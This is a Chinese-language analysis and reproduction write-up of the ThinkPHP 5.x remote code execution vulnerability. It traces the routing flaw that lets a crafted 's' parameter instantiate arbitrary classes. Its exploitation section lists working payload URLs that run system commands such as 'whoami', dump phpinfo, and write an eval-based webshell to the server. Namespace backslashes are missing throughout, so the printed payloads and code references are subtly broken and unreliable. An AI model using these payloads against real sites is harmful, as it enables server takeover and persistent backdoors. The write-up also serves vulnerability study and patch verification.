ThinkPHP 5.x 遠程命令執行漏洞分析與復現

0x00 前言

Thinkphp 官方 2018 年 12 月 9 日發布重要的安全更新,修復了一個嚴重的遠程代碼執行漏洞。該更新主要涉及一個安全更新,由于框架對控制器名沒有進行足夠的檢測會導致在沒有開啟強制路由的情況下可能的 getshell 漏洞,受影響的版本包括 5.0 和 5.1 版本,推薦盡快更新到最新版本。

0x01 影響范圍

5.x

0x02 漏洞分析

立即學習PHP免費學習筆記(深入)”;

thinkphp v5.0.x 補丁地址: https://github.com/top-think/framework/com…

Thinkphp v5.1.x 補丁地址: https://github.com/top-think/framework/com…

路由信息中 controller 的部分進行了過濾,可知問題出現在路由調度時

關鍵代碼:

ThinkPHP 5.x 遠程命令執行漏洞分析與復現

在修復之前程序未對控制器進行過濾,導致攻擊者可以通過引入 符號來調用任意類方法。

ThinkPHP 5.x 遠程命令執行漏洞分析與復現

其中使用了 $this->app->controller 方法來實例化控制器,然后調用實例中的方法。跟進 controller 方法:

其中通過 parseModuleAndclass 方法解析出 $module 和 $class,然后實例化 $class。

ThinkPHP 5.x 遠程命令執行漏洞分析與復現

而 parseModuleAndClass 方法中,當 $name 以反斜線 開始時直接將其作為類名。利用命名空間的特點,如果可以控制此處的 $name(即路由中的 controller 部分),那么就可以實例化任何一個類。

接著,我們再往回看路由解析的代碼。其中 route/dispatch/Url.php:: parseUrl 方法調用了 route/Rule.php:: parseUrlPath 來解析 pathinfo 中的路由信息

ThinkPHP 5.x 遠程命令執行漏洞分析與復現

代碼比較簡單,就是使用 / 對 $url 進行分割,未進行任何過濾。

其中的路由 url 從 Request::path () 中獲取

ThinkPHP 5.x 遠程命令執行漏洞分析與復現

由于 var_pathinfo 的默認配置為 s,我們可利用 $_GET [‘s’] 來傳遞路由信息,也可利用 pathinfo 來傳遞,但測試時 windows 環境下會將 $_SERVER [‘pathinfo’] 中的 替換為 /。結合前面分析可得初步利用代碼如下:index.php?s=index/Namespaceclass/method ,這將會實例化 namespaceclass 類并執行 method 方法。

0x03 漏洞利用

docker 漏洞環境源碼:https://github.com/top-think/framework/com…

本地環境:thinkphp5.0.15+php5.6n+ apache2.0

https://github.com/top-think/framework/com…

1. 利用 system 函數遠程命令執行

http://localhost:9096/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x 遠程命令執行漏洞分析與復現

2. 通過 phpinfo 函數寫出 phpinfo () 的信息

http://localhost:9096/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x 遠程命令執行漏洞分析與復現

3. 寫入 shell:

http://localhost:9096/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

或者

http://localhost:9096/index.php?s=index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=file_put_contents&amp;vars[1][]=../test.php&amp;vars[1][]=<?php  echo &#39;ok&#39;;?>

ThinkPHP 5.x 遠程命令執行漏洞分析與復現

? 版權聲明
THE END
喜歡就支持一下吧
點贊8 分享